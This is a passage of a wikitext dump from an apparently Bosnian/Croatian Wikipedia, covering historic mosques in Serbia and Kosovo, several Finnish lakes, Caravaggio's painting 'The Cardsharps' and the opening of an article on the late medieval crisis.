|url=http://www.androidvodic.com/info_novi-pazar_verski-objekti_arap-dzamija#Arap+d%C5%BEamija+Novi+Pazar |access-date=2015-10-31 |archivedate=2015-10-01 |archiveurl=https://web.archive.org/web/20151001105459/http://www.androidvodic.com/info_novi-pazar_verski-objekti_arap-dzamija#Arap+d%C5%BEamija+Novi+Pazar |deadurl=yes }}</ref>||[[Datoteka:NoviPazarCenter.jpg|160x160px|center|none]]||7. juli||[[Novi Pazar]]||[[Raški okrug]]||XV-XVI vek|| - |- |Ahmed-begova ili <br />[[Lejlek džamija]]<ref>[http://spomenicikulture.mi.sanu.ac.rs/spomenik.php?id=633 http://spomenicikulture.mi.sanu.ac.rs Lejlek džamija]</ref><ref>{{Cite web |title=http://www.sandzacke.rs Lejlek džamija u Novom Pazaru |url=http://www.sandzacke.rs/bosnjaci/kulturnabastina/lejlek-dzamija-u-novom-pazaru/ |access-date=2015-10-31 |archivedate=2015-10-01 |archiveurl=https://web.archive.org/web/20151001104756/http://www.sandzacke.rs/bosnjaci/kulturnabastina/lejlek-dzamija-u-novom-pazaru/ |deadurl=yes }}</ref>||[[Datoteka:Lejlek Mosque in Novi Pazar.jpg|160x160px|center|none]]||Manja Ćorovića b.b.||[[Novi Pazar]]||[[Raški okrug]]||XV-XVI vek|| - |- |Iskender čelebijina ili <br />[[Melajska džamija]]<ref>{{Cite web |url=http://mesihat.org/2015/08/06/sandzacke-dzamije-melajska-dzamija/ |title=mesihat.org melajska džamija |access-date=2015-10-31 |archive-date=2016-03-05 |archive-url=https://web.archive.org/web/20160305085121/http://mesihat.org/2015/08/06/sandzacke-dzamije-melajska-dzamija/ |url-status=dead }}</ref>||[[Datoteka:Melajska Mosque in Novi Pazar.jpg|160x160px|center|none]]||Deda Šehovića||[[Novi Pazar]]||[[Raški okrug]]||1528. godine|| - |- |[[Kurt-Čelebijina džamija]]<ref>[http://spomenicikulture.mi.sanu.ac.rs/spomenik.php?id=628 http://spomenicikulture.mi.sanu.ac.rs Kurt-Čelebijina džamija]</ref>||[[Datoteka:No building photo-sr.svg|160x160px|center|none]]||-||[[Novi Pazar]]||[[Raški okrug]]||1837. godine|| - |- |[[Hadži Mehova džamija]]||[[Datoteka:No building photo-sr.svg|160x160px|center|none]]||Ive Andrića b.b.||[[Novi Pazar]]||[[Raški okrug]]||2011. godine|| - |- |[[Hadži Huremova džamija]] ili <br /> Bor džamija<ref>[http://spomenicikulture.mi.sanu.ac.rs/spomenik.php?id=629 http://spomenicikulture.mi.sanu.ac.rs Hadži Huremova džamija]</ref><ref>{{Cite web |title=http://www.novipazar.com/turizam Hadži-Huremova (Bor) džamija |url=http://www.novipazar.com/turizam/hadzi-huremova-bor-dzamija/ |access-date=2015-10-31 |archivedate=2015-10-01 |archiveurl=https://web.archive.org/web/20151001123346/http://www.novipazar.com/turizam/hadzi-huremova-bor-dzamija/ |deadurl=yes }}</ref>||[[Datoteka:Dzamija u Novom Pazaru02.JPG|160x160px|center|none]]||Borski kej||[[Novi Pazar]]||[[Raški okrug]]||1561. godine|| - |- |[[Bajrakli džamija (Peć)]]<ref>[http://spomenicikulture.mi.sanu.ac.rs/spomenik.php?id=252 http://spomenicikulture.mi.sanu.ac.rs Bajrakli džamija - Peć]</ref>||[[Datoteka:Bajrakli Mosque, Peć, Kosovo.JPG|160x160px|center|none]]||Bajram Curri||[[Peć]]||[[Pećki okrug]]||druga polovina XV veka|| Kulturno dobro od izuzetnog značaja |- |[[Defterdar džamija]]<ref>[http://spomenicikulture.mi.sanu.ac.rs/spomenik.php?id=276 http://spomenicikulture.mi.sanu.ac.rs Defterdar džamija]</ref>||[[Datoteka:Xhamia e Deftedarit, Pejë.JPG|160x160px|center|none]]||-||[[Peć]]||[[Pećki upravni okrug]]||druga polovina XVII veka|| - |- |[[Hamam džamija]]<ref>[http://spomenicikulture.mi.sanu.ac.rs/spomenik.php?id=274 http://spomenicikulture.mi.sanu.ac.rs Hamam džamija]</ref>||[[Datoteka:No building photo-sr.svg|160x160px|center|none]]||Zagrebačka ulica br. 21||[[Peć]]||[[Pećki upravni okrug]]||XVI vek|| - |- |[[Sinan-pašina džamija u Prizrenu|Sinan-pašina džamija]]<ref>[http://spomenicikulture.mi.sanu.ac.rs/spomenik.php?id=332 http://spomenicikulture.mi.sanu.ac.rs Sinan-pašina džamija]</ref>||[[Datoteka:Mosque of Sinan Pasha in Prizren.jpg|160x160px|center|none]]||Mimar Sinani||[[Prizren]]||[[Prizrenski okrug]]||1615. godine|| Kulturno dobro od izuzetnog značaja |- |[[Kirik džamija]] ili <br />Namazdža<ref>[http://dtk.rks-gov.net/tkk_objekti_sr.aspx?id=1292 http://dtk.rks-gov.net Kirik džamija]{{Dead link|date=August 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref>||[[Datoteka:Kirik Cami.jpg|160x160px|center|none]]||De Rada (magistralni put Prizren-Đakovica)||[[Prizren]]||[[Prizrenski okrug]]||oko 1455. godine|| - |- |[[Muderiz Ali-efendijina džamija]]||[[Datoteka:PrizrenCollection2 2010 100 2517.JPG|160x160px|center|none]]||Papa Gjon Pali i IItë||[[Prizren]]||[[Prizrenski okrug]]||1581. godine|| - |- |[[Carska džamija u Prištini|Carska džamija]]<ref>[http://spomenicikulture.mi.sanu.ac.rs/spomenik.php?id=392 http://spomenicikulture.mi.sanu.ac.rs Carska džamija]</ref><ref>{{Cite web |title=http://www.spomenici.heritage.gov.rs Carska džamija |url=http://www.spomenici.heritage.gov.rs/lat/nkd/pregled/carska_dza_pr |access-date=2015-10-31 |archivedate=2015-09-24 |archiveurl=https://web.archive.org/web/20150924104611/http://www.spomenici.heritage.gov.rs/lat/nkd/pregled/carska_dza_pr |deadurl=yes }}</ref> ili <br />Džamija sultana Mehmeda Fatiha||[[Datoteka:Sultan Mehmet Fatih Xhamia.jpg|160x160px|center|none]]||Ibrahim Lutfiu||[[Priština]]||[[Prištinski okrug]]||1460. godine|| Kulturno dobro od izuzetnog značaja |- |[[Džamija Sultan Valide]]<ref>{{Cite web |title=http://srbija.superodmor.rs Džamija Sultan Valide |url=http://srbija.superodmor.rs/kulturno-istorijska-nasledja/dzamije/1082/dzamija-sultan-valide |access-date=2015-10-31 |archivedate=2015-10-08 |archiveurl=https://web.archive.org/web/20151008164815/http://srbija.superodmor.rs/kulturno-istorijska-nasledja/dzamije/1082/dzamija-sultan-valide |deadurl=yes }}</ref><ref>{{Cite web |title=http://www.sandzacke.rs Džamija Sultan Valide u Sjenici |url=http://www.sandzacke.rs/bosnjaci/kulturnabastina/dzamija-sultan-valide-u-sjenici/ |access-date=2015-10-31 |archivedate=2015-10-01 |archiveurl=https://web.archive.org/web/20151001102750/http://www.sandzacke.rs/bosnjaci/kulturnabastina/dzamija-sultan-valide-u-sjenici/ |deadurl=yes }}</ref>||[[Datoteka:Sultanija-Valida.jpg|160x160px|center|none]]||Ulica Valide Sultan||[[Sjenica]]||[[Zlatiborski okrug]]||sredinom XIX veka|| - |- |[[Muhadžir džamija]]||[[Datoteka:Mosque Subotica Serbia from the outside.JPG|160x160px|center|none]]||Karađorđev put||[[Subotica]]||[[Severnobački okrug]]||24. avgusta 2008. godine|| - |} == Povezano == * [[Spisak najvećih džamija]] * [[Sveta džamija]] * [[Prorokova džamija]] * [[Al Aksa]] * [[Velika džamija u Damasku]] * [[Velika džamija u Kordobi]] * [[Velika džamija u Keruanu]] == Reference == {{reflist}} [[Kategorija:Džamije u Srbiji|*]] mwsh6dqr19fz4dcp0ds0j9v9ixeocu6 0 4545026 42602682 42407113 2026-05-28T07:08:49Z InternetArchiveBot 155863 Rescuing 0 sources and tagging 1 as dead.) #IABot (v2.0.9.5 42602682 wikitext text/x-wiki {{Infokutija jezero | ime = Lohjanjärvi | drugo_ime = | slika =Aurlahden uimaranta.jpg | slika_širina = 260px | slika_opis = | kontinenti = [[Evropa]] | regije=[[Skandinavija]] | države= {{flag|Finska}} | pokrajine= [[Uusimaa|Regija Uusimaa]] | gradovi=[[Lohja]] | naselja= | vrsta= [[protočno jezero|protočno]] | površina=88<ref name=jarvi/> | volumen=1.12<ref name=jarvi/> | visina=31.6<ref name=jarvi/> | obala =331<ref name=jarvi/> | dužina = | širina = | dubina =54<ref name=jarvi/> | otoci = Lohjansaari, Jalassaari, Pensaari, Huhtasaari, Seppälänsaari | pritoke=[[Mustionjoki]] | odljev = [[Mustionjoki]] | salinitet = | broj_vrsta = | zaš_područja = | mostovi = | brane = | plovnost = | luke = | kol_robe = | karta = | karta_širina = | karta_opis = | lok_karta = | alt_karta = | širina-st =60 | širina-min =15 | širina-sek = 0 | širina-oznaka =N | dužina-st = 23 | dužina-min =55 | dužina-sek = 0 | dužina-oznaka =E | iso-regija = | lok_karta_opis = | fusnote = }} '''Lohjanjärvi'''([[švedski jezik|švedski]]: ''Lojo sjö'') je [[jezero]] na [[jug]]u [[Finska|Finske]], u [[Uusimaa|Regiji Uusimaa]].<ref name=jarvi/> == Karakteristike == Jezero Lohjanjärvi leži na [[nadmorska visina|nadmorskoj visini]] od 31.6 [[metar|metra]], prosječna dubina mu iznosi - 12.6 [[metar|m]], maksimalna 54.8 [[metar|m]], a ukupna površina 88.21 [[km²]].<ref name=jarvi>{{cite web | url =http://www.jarviwiki.fi/w/index.php?title=Lohjanj%C3%A4rvi_%2823.021.1.001%29&setlang=en | title =''Lohjanjärvi'' | accessdate =06. 11. 2015 | language =engleski | publisher =Jarwiki }}{{Dead link|date=May 2026 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> [[datoteka:LA2-Karjaanjoki.png|thumb|left|200px|<small>[[Karta]] [[sliv]]a [[Rijeka (vodotok)|rijeke]] [[Mustionjoki]] sa pozicijom Jezera Lohjanjärvi</small>]] Lohjanjärvi je [[protočno jezero]] [[Rijeka (vodotok)|rijeke]] [[Mustionjoki]], koja dvadesetak [[km]] nakon jezera istječe u [[Finski zaljev]]. Najveći [[otok]] u jezeru je Lohjansaari (1995 [[hektar|ha]]), zatim slijede Jalassaari (360 ha), Pensaari (114 ha), Huhtasaari (76 ha) i Seppälänsaari (68 ha). == Reference == {{reflist}} == Vanjske veze == * [http://mapcarta.com/13641176/Map ''Karta jezera Lohjanjärvi'' na portalu Mapcarta] {{en icon}} [[Kategorija:Jezera u Finskoj]] icvcgyxj2rb837xdvzzh9wzhxmdv4l4 0 4545419 42602718 42403431 2026-05-28T11:47:17Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602718 wikitext text/x-wiki {{Infokutija jezero | ime = Mallasvesi | drugo_ime = | slika =Kostianvirran länsipää.jpg | slika_širina = 260px | slika_opis = | kontinenti = [[Evropa]] | regije=[[Skandinavija]] | države= {{flag|Finska}} | pokrajine= [[Pirkanmaa|Regija Pirkanmaa]] | gradovi=[[Valkeakoski]] | naselja= | vrsta= [[protočno jezero|protočno]] | površina=55,7<ref name=jarvi/> | volumen=0,383<ref name=jarvi/> | visina=84.2<ref name=jarvi/> | obala =159<ref name=jarvi/> | dužina = | širina = | dubina =32.89<ref name=jarvi/> | otoci = | pritoke=Kostianvirta, Sulkusalmi | odljev = [[vodopad|slapovi]] Valkeakoski | salinitet = | broj_vrsta = | zaš_područja = | mostovi = | brane = | plovnost = | luke = | kol_robe = | karta = | karta_širina = | karta_opis = | lok_karta = | alt_karta = | širina-st =61 | širina-min =18 | širina-sek = 0 | širina-oznaka =N | dužina-st = 24 | dužina-min =10 | dužina-sek = 0 | dužina-oznaka =E | iso-regija = | lok_karta_opis = | fusnote = }} '''Mallasvesi''' je [[jezero]] na [[jugozapad]]u [[Finska|Finske]] u [[Pirkanmaa|Regiji Pirkanmaa]], ono je dio [[sliv]]a [[Rijeka (vodotok)|rijeke]] [[Kokemäenjoki]].<ref name=jarvi/> Mallasvesi je jedno u nizu jezera nakon [[Lummene]]a, [[Vehkajärvi]]ja i [[Vesijako|Vesijaka]], koji se nastavlja nizvodno [[Vanajavesi|Jezerom Vanajavesi]] == Karakteristike == Jezero Mallasvesi leži na [[nadmorska visina|nadmorskoj visini]] od 84.2 [[metar|metra]], maksimalna dubina mu iznosi - 32.89 [[metar|m]] a prosječna 6.84 [[metar|m]], a ukupna površina 55,7 [[km²]].<ref name=jarvi>{{cite web | url =http://www.jarviwiki.fi/w/index.php?title=Mallasvesi_%2835.711.1.001%29&setlang=en | title =''Mallasvesi'' | accessdate =12. 11. 2015 | language =engleski | publisher =Jarwiki | archive-date =2025-01-26 | archive-url =https://web.archive.org/web/20250126105415/https://www.jarviwiki.fi/w/index.php?title=Mallasvesi_(35.711.1.001)&setlang=en | url-status =dead }}</ref> Na njegovom [[jug|južnom]] kraju na prijevoju kod [[vodopad|slapova]] Valkeakoski iz kojih istječu [[voda|vode]] u [[Vanajavesi|Jezero Vanajavesi]] leži [[grad]] [[Valkeakoski]]. == Reference == {{reflist}} == Vanjske veze == * [http://mapcarta.com/13639374 ''Karta jezera Mallasvesi'' na portalu Mapcarta] {{en icon}} [[Kategorija:Jezera u Finskoj]] 7421wc78mw85bk4h70ks42xvv8eas2v 0 4545659 42602704 42403363 2026-05-28T09:31:21Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602704 wikitext text/x-wiki {{Infokutija jezero | ime = Längelmävesi | drugo_ime = | slika =Längelmävesi_17.8.13.jpg | slika_širina = | slika_opis = | kontinenti = [[Evropa]] | regije =[[Skandinavija]] | države = {{flag|Finska}} | pokrajine= [[Pirkanmaa]] | gradovi= [[Orivesi]], [[Kangasala]], [[Jämsä]] | naselja = | vrsta= [[Protočno jezero|protočno]] | površina=133.04<ref name=jarvi/> | volumen=0.909 | visina=84.2 <ref name=jarvi/> | obala =496.95<ref name=jarvi/> | dužina = | širina = | dubina =59.3<ref name=jarvi/> | otoci =Isosaari, Mäntysaari, Eräsalo, Mäkelänsaari | pritoke= | odljev = | salinitet = | broj_vrsta = | zaš_područja = | mostovi = | brane = | plovnost = | luke = | kol_robe = | karta = | karta_širina = | karta_opis = | lok_karta = | alt_karta = | širina-st =61 | širina-min =34 | širina-sek = 0 | širina-oznaka =N | dužina-st = 24 | dužina-min =25 | dužina-sek = 0 | dužina-oznaka =E | iso-regija = | lok_karta_opis = | fusnote = }} '''Längelmävesi''' je [[jezero]] u sredini [[jug|južne]] [[Finska|Finske]] koje leži u [[Pirkanmaa|Regiji Pirkanmaa]].<ref name=jarvi/> == Karakteristike == Jezero Längelmävesi leži u [[sliv]]u [[Rijeka (vodotok)|rijeke]] [[Kokemäenjoki]], na [[nadmorska visina|nadmorskoj visini]] od 84.2 [[metar|metra]]<ref name=jarvi>{{cite web | url =http://www.jarviwiki.fi/wiki/L%C3%A4ngelm%C3%A4vesi_%2835.721.1.001%29 | title =''Längelmävesi'' | accessdate =18. 11. 2015 | language =engleski | publisher =Jarwiki | archive-date =2013-12-28 | archive-url =https://web.archive.org/web/20131228235851/http://www.jarviwiki.fi/wiki/L%C3%A4ngelm%C3%A4vesi_(35.721.1.001) | url-status =dead }}</ref> , [[jug|južno]] od [[grad]]a [[Orivesi]]. Prilično je dugo od nekih tridesetak [[km]], ima površinu od 133.04 [[km²]]<ref name=jarvi/>, prosječna dubina mu je 6.83 [[metar]]a a najveća 59.3 [[metar|m]].<ref name=jarvi/> Längelmävesi ima puno [[otok]]a i [[poluotok]]a koji ga dijele na više bazena. Längelmävesi je jedno od jezera lanca - Längelmäveden reitti u kom su pored njega i jezera [[Vesijärvi (Kangasala)|Vesijärvi]], [[Roine (Finska)|Roine]], [[Pälkänevesi]] i [[Mallasvesi]]. Vode tog lanca otječu u [[Vanajavesi|Jezero Vanajavesi]] kod grada [[Valkeakoski]]. == Reference == {{reflist}} == Vanjske veze == {{commonscat|Lake Längelmävesi}} * [http://mapcarta.com/28023236/Map ''Längelmävesi'' na portalu Mapcarta] {{en icon}} [[Kategorija:Jezera u Finskoj]] g1mj5b0yhqu6l3r577e2c9nmy92t52f 0 4545673 42602600 42406989 2026-05-27T19:59:15Z InternetArchiveBot 155863 Rescuing 0 sources and tagging 1 as dead.) #IABot (v2.0.9.5 42602600 wikitext text/x-wiki {{Infokutija jezero | ime = Kyrösjärvi | drugo_ime = | slika =Ikaalinen - harbour3.jpg | slika_širina = | slika_opis = | kontinenti = [[Evropa]] | regije =[[Skandinavija]] | države = {{flag|Finska}} | pokrajine= [[Pirkanmaa]] | gradovi= [[Ikaalinen]], [[Hämeenkyrö]], Viljakkala | naselja = | vrsta= [[Protočno jezero|protočno]] | površina=96.06<ref name=jarvi/> | volumen=0.998<ref name=jarvi/> | visina=83.2<ref name=jarvi/> | obala =353.45<ref name=jarvi/> | dužina =36 | širina =5 | dubina =47<ref name=jarvi/> | otoci =Tolkien, Isosaari | pritoke= | odljev = | salinitet = | broj_vrsta = | zaš_područja = | mostovi = | brane = | plovnost = | luke = | kol_robe = | karta = | karta_širina = | karta_opis = | lok_karta = | alt_karta = | širina-st =61 | širina-min =47 | širina-sek = 0 | širina-oznaka =N | dužina-st = 23 | dužina-min =06 | dužina-sek = 0 | dužina-oznaka =E | iso-regija = | lok_karta_opis = | fusnote = }} '''Kyrösjärvi''' je srednje veliko [[jezero]] u sredini [[jug|južne]] [[Finska|Finske]] koje leži u [[Uusimaa|Regiji Uusimaa]].<ref name=jarvi/> == Karakteristike == Jezero Kyrösjärvi leži u [[sliv]]u [[Rijeka (vodotok)|rijeke]] [[Kokemäenjoki]], na [[nadmorska visina|nadmorskoj visini]] od 83.2 [[metar|metra]]<ref name=jarvi>{{cite web | url =http://www.jarviwiki.fi/w/index.php?title=Kyr%C3%B6sj%C3%A4rvi_%2835.521.1.001%29&setlang=en | title =''Kyrösjärvi'' | accessdate =18. 11. 2015 | language =engleski | publisher =Jarwiki }}{{Dead link|date=May 2026 |bot=InternetArchiveBot |fix-attempted=yes }}</ref>, kod [[grad]]a [[Ikaalinen]]a. Kyrösjärvi je prilično je izduljen, sa svojih 33 [[km]], on ima površinu od 29.4 [[km²]], prosječnu dubinu od 10.38 [[metar]]a, i najveću od 47 [[metar|m]].<ref name=jarvi/> Najveći [[otok|otoci]]. na jezeru su Tolkien (75 [[hektar|ha]].) i Isosaari (74 ha).<ref name=jarvi/> == Reference == {{reflist}} == Vanjske veze == {{commonscat|Lake Kyrösjärvi}} * [http://mapcarta.com/13644904/Map ''Kyrösjärvi'' na portalu Mapcarta] {{en icon}} [[Kategorija:Jezera u Finskoj]] osvkly7wy5btfrtwoq950z6ipz46rhm 0 4545866 42602699 42535609 2026-05-28T08:42:38Z Surajr7 346896 42602699 wikitext text/x-wiki {{Slika (HR) | slika= Caravaggio - The Cardsharps (1596-97) Kimbell Art Museum.jpg | slika_širina= 375px | ime= Varalice na kartama ili Kartaši (druga verzija) | autor= [[Caravaggio]] | godina= [[1594.]] – [[1596.]] | tip= ulje na platnu | visina=94,2 | širina=130,9 | grad= [[Fort Worth]], Teksas, SAD | muzej= Kimbell Art Museum }} '''Kartaši''' ([[talijanski]]: ''I Bari'') je [[Uljene boje|ulje na platnu]] [[Italija|talijanskog]] [[barok]]nog [[slikar]]a [[Caravaggio|Michelangela Merisija da Caravaggia]]. ==Opis== Tema slike je genre-scena kartanja, kakve su već bile poznate u nizozemskom slikarstvu (npr. Pieter Jansz. Pourbus), no kao i u slučaju njegove nešto ranije genre-slike [[Gatanje (Caravaggio)|Gatanje]] nitko prije nije toj vrsti slikarstva dao važnost koju je ono imalo za Caravaggia. [[File:Pieter Pourbus - O trapaceiro.JPG|thumb|left|200px|Pieter Jansz. Pourbus : Kartaši, 70*101 cm, prije 1584.]] ''Kartaši'' su prva Caravaggiova slika s tri lika, koja posjeduje i druge venecijanske odlike: format, osvjetljenje i prikaz likova u poluprofilu.<ref>Lambert 2007, 48, 53; en.wiki / Cardsharps (Caravaggio)</ref>. Slika prikazuje dva mladića koji se kartaju, dok treći lik, sredovječni muškarac, ne sudjeluje u samoj igri, ali sudjeluje u prijevari u koju se ta igra pretvorila. Mladić s lijeve strane, odjeven u crno, opušteno gleda u svoje karte, naivno ne sluteći spletku u koju je upao. Njegove karte naime gleda sredovječni muškarac zloćudnog pogleda, koji prstima drugom mladome igraču, onome u smeđoj odjeći s desne strane, signalitira koje karte naivni mladić drži u rukama i koji potez mu valja odigarti u igri koja se pretvorila u namještaljku. Mladi sudionik splatke jednu ruku drži na stolu, dok drugom iza pojasa izvlači kartu koju je tamo zataknuo očito unaprijed sa sredovječnim muškarcem dogovorivši prijevaru. Psihološka karakretizacija i modelacija likova ostvarena je vrlo suptilno, kulminirajući u dramatičnim kontrastom između smirenosti naivnoga mladića i napetosti dvojice varalica koji su, sudeći po bodežu onog mlađeg koji se nalazi u prvom planu slike, očito spremni na apsolutno sve kako bi uništili svoju žrtvu. Taj bodež istodobno kao da viri iz slike i probija granicu između prostora slike i prostora nas kao promatrača, uvodeći nas time u žarište drame koja je upravo dosegla svoj vrhunac. ==Stilske odlike== ''Kartaši'' su, kao i ''Gatanje'', odličan primjer Caravaggiove vjernosti prirodi i životu, kojom je dokinuo okoštale i već odavna beživotne, blazirane manirističke formule, uvodeći u slikarstvo na velika vrata ''momke iz polusvijeta''<ref>Giorgi 1998, 40</ref> i slične likove (zbog čega je još za života bio optužen za vulgarizaciju umjetnosti<ref name="Lambert 2007, 53">Lambert 2007, 53</ref>) istodobno napuštajući i sve druge važeće slikarske konvencije koje su se odnosile na uporabu perspektive, kompozicije, impostaciju figura, omjere i osvjetljenje. Ono ovdje, istina, još posjeduje dašak svjetlosnih iskustva slikarevih venecijanskih uzora, ali će ih Caravaggio svega nekoliko godina kasnije posve napustiti. Valja međutim napomenuti da glasoviti Caravaggiov realizam, prisutan i na ''Kartašima'', često nije pravi, nego prije ''kazališni'' realizam.<ref>Wittkower 1982; Lambert 2007, 7</ref> [[Rendgenske zrake|Rengenska snimka]] slike pokazala je brojne ispravke - ''pentimente''<ref>it.wiki / I bari</ref>, koji dokazuju da Caravaggio ni za ovu sliku, kao ni za većinu ostalih, nije koristio pripremne skice. ==Vlasništvo slike== Nije poznato za koga je Caravaggio izvorno naslikao ''Kartaše''.<ref>Mariani 1960, 66</ref> Neki smatraju da je to prva slika koju je naslikao za kardinala del Montea, kod kojeg je živio nekoliko godina.<ref>Wilson-Smith 1998, 13</ref> Slika je nakon kardinalove smrti prešla u vlasništvo obitelji Colona<ref name="Lambert 2007, 53"/> (moglo je se vidjeti u Galeriji Sciarra<ref>Domljan 1959, 577</ref>), nakon čega je bila izgubljena gotovo čitavo stoljeće. Danas se nalazi u Kimbell Art Museum u Teksasu, koji čuva i jedno od najznačajnijih djela caravaggista nastalih po uzoru na ovo često, više ili manje kreativno imitirano Caravaggiovo djelo – ''Varalice na kartama'' [[Georges de la Tour|Georgesa de la Toura]]. ==Londonska inačica "Kartaša"== Poznato je da je Caravaggio u nekoliko navrata, vjerojatno zbog želja naručitelja koje nije smio odbiti i/ili zbog kronične besparice u kojoj se nalazio sredinom 1590.-tih, nakon napuštanja radionice Cavaliere d`Arpina, slikao replike svojih slika. Radilo se o „kreativnim kopijama“, koje nikada nisu bile posve istovjetne izvorniku. Na taj način Caravaggio je „umnožio“ ''Dječaka kojeg je ugrizao gušter'', ''Svirača na lutnji'' i ''Gatanje''<ref>Giorgi 1999, 16, 50; Wilson-Smith 1998, 10, 54</ref>, no sve donedavno se smatralo da je time popis Caravaggiovih replika iscrpljen. Pred nekoliko godina je međutim otkriveno da je na sličan način Caravaggio načinio i repliku ''Kartaša'', koju je otkrio britanski kolekcionar i povjesničar umjetnosti, dobar poznavatelj Caravaggiova djela sir Denis Mahon (1910. - 2011.). On je sliku koja se prodavala preko aukcijske kuće ''Sotheby`s'' u prosincu 2006. kupio kao kopiju nepoznatog umjetnika po Caravaggiu za 42.000 GBP, sluteći od početka da je možda riječ o djelu samog majstora, jer je slika potjecala iz zbirke u kojoj se ranije nalazio jedan izvorni Caravaggio. Mahonova intuicija se pokazala posve točnom. Analiza slike pokazala je, među ostalim, tragove finog pijeska u boji, što je bio autorov „zaštitni znak“. No, konačni dokaz da je doista riječ o Caravaggiu dala je rendgenska snimka koja je pokazala da je lice jednog od varalica bilo u cijelosti naslikano, prije nego što je slikar preko njega preslikao šešir. Taj preslik, ''pentimento'' je konačan dokaz da je Mahonova slika zapravo Caravaggiov original, jer slikar-kopist u svojem radu nikada ne radi takve kreativne izmjene. Mahonova slika, koju je vlasnik prije smrti posudio londonskom Muzeju reda sv. Ivana, kojem je Caravaggio za svog boravka na Malti 1608. nekoliko mjeseci bio članom<ref>Wilson-Smith 1998, 25</ref> ponešto se razlikuje od drugog, po svemu sudeći kasnijeg izvornika koji se sada nalazi u Kimbell Art Museumu u Teksasu. Prije svega, na londonskoj slici likovi su smješteni u nešto veći prostor, i njihova lica su nešto svjetlija, osobito lice sredovječnog varalice. Smanjenjem prostora i zatamnjenjem lica tj. pojačavanjem ''chiaroscura'' Caravaggio je u kasnijoj inačici očito nastojao pojačati dramatski efekt. Priča o Mahonovu otkriću Caravaggiova izvornika dobila je i svoj sudski epilog, nakon što je prijašnji vlasnik slike, Lancelot Thwaytes tužio aukcijsku kuću Sotheby`s zbog toga što je njegovog izvornog Caravagga, vrijednog 10.000.000 GBP prodala kao kopiju za svega 42.000 GBP. Sud je presudio u korist velike aukcijske kuće, cinično obrazlažući svoju presudu riječima da se Sotheby`s oslonio na ekspertizu kvalificiranih stručnjaka, te je temeljem nje došao do (pogrešnog) zaključka da slika koju je prodavao nije izvorni Caravaggio. == Povezano == [[Gatanje (Caravaggio)|Caravaggio: Gatanje]], oko 1594.-95. ==Galerija: "Kartaši" i caravaggisti== ''Kartaši'' su, kao i ''Gatanje'' - druga Caravaggiova poznata genre-slika iz vremena oko 1594. izvršilo velik utjecaj na njegove brojne sljedbenike, ''caravaggiste'', koji su majstorove izvornike vrlo često i uspješno interpretirali.<ref>Wilson-Smith 1998, 40</ref> <gallery mode=packed> File:Les Tricheurs, par Valentin de Boulogne, Yorck.jpg|Valentin de Boullogne, 1615.-18. File:Georges de La Tour - The Cheat with the Ace of Clubs - Google Art Project.jpg|[[Georges de La Tour]], c. 1620.–40. File:Nicolas Régnier - Cardsharps and Fortune Teller - WGA19040.jpg|Nicolas Régnier: Kartaši i gatanje, 1620.-22. File:Jacob van Oost (I) - Card-Sharpers - WGA16648.jpg|Jacob van Oost (I.), 1634. File:Falschspieler Gerard van Honthorst.jpg| Gerard van Honthorst, god.? File:LeNain-Tricheurs-Reims.jpg|Braća Le Nain, god.? </gallery> == Napomene == {{izvori}} ==Literatura== *Domljan 1959 – [[Žarko Domljan]]: Caravaggio, Enciklopedija likovnih umjetnosti, sv. I, Zagreb, 1959., 576-578 *Giorgi 1998 – Rosa Giorgi: Caravaggio – izvanredna i uzvišena revolucija, prijevod: Morana Lače-Knežević, Zagreb, 1998., str. 16, 40, 50 *Lambert 2007 – Gilles Lambert: Caravaggio, bez imena prevoditlja, Zagreb, [2007.], str. 48, 53 *Mariani 1960 – Valerio Mariani: Caravaggio, u: Encyclopedia of World Art, sv. III, New York – Toronto – London, 1960., st. 62-81 *Wilson-Smith 1998 – Timothy Wilson-Smith: Caravaggio, London, 1998. str. 10, 13, 25, 40, 54 *Wittkower 1982 – Rudolf Wittkower: Art and Architecture in Italy 1600 to 1750, New Heaven – London, 1982., str. 48 ==Vanjske veze== [http://museumstjohn.org.uk/collections/the-cardsharps/ Kartaši na stranoci Muzeja Reda sv. Ivana, London, koji čuva raniju verziju slike (engl.)] {{Webarchive|url=https://web.archive.org/web/20171221125542/http://museumstjohn.org.uk/collections/the-cardsharps/ |date=2017-12-21 }} [https://www.kimbellart.org/collection-object/cardsharps Kartaši na stranici Kimbell Art Museuma, Fort Worth, Teksas, u kojem se nalazi kasnija verzija (engl.)] [http://www.today.com/id/22205901#.VhZp9OztlHw Priča o Mahonovu otkriću Caravaggiovih ''Kartaša'' (engl.)] [http://www.independent.co.uk/arts-entertainment/art/news/sothebys-caravaggio-case-former-owner-of-the-cardsharps-loses-legal-bid-after-sothebys-claimed-work-9983980.html Sudski epilog priče o Mahonovu otkriću Caravaggiovih ''Kartaša'' (engl.)] [[Kategorija:Slike Caravaggija]] lsbh9ftgwkd1ef6j0ke4kpz6ny137rp 0 4545934 42602581 42402999 2026-05-27T17:40:22Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602581 wikitext text/x-wiki '''Kriza kasnog srednjeg vijeka''' odnosi se na niz događaja u 14. i 15. vijeku koji su priveli blagostanje i rast država Evrope kraju.<ref> {{citation|title=THE CRISIS OF THE LATE MIDDLE AGES: THE CASE OF FRANCE|author=James L. Goldsmith|journal= French History|year=1995|volume=9 (4)|pages=417–450|doi=10.1093/fh/9.4.417|url=http://fh.oxfordjournals.org/content/9/4/417.extract}}</ref> Tri najveće krize dovele su do temeljnih promjena u svim društvenim oblastima: demografski kolaps, politička nestabilnost i religijski preokreti. Niz gladi i kuga, počevši sa [[velika glad (1315-1317)|velikom glađu 1315–17]] i naročito [[crna smrt|crnom smrti]] 1348. godine, smanjio je populaciju možda za pola ili više kada je [[srednjovjekovni topli period]] završio, a prvi vijek [[malo ledeno doba|malog ledenog doba]] počeo. Zajedno sa depopulacijom došlo je do društvenih nemira i endemskog ratovanja. Iscrpljivanje zemljišta, prenaseljenost, ratovi i epidemije izazvali su stotine gladi u Evropi tokom [[srednji vijek|srednjeg vijeka]], uključujući 95 u Britaniji i 75 u Francuskoj.<ref>{{Cite web |title=Poor studies will always be with us |url=http://www.telegraph.co.uk/opinion/main.jhtml?xml=%2Fopinion%2F2004%2F08%2F08%2Fdo0809.xml&sSheet=%2Fopinion%2F2004%2F08%2F08%2Fixop.html 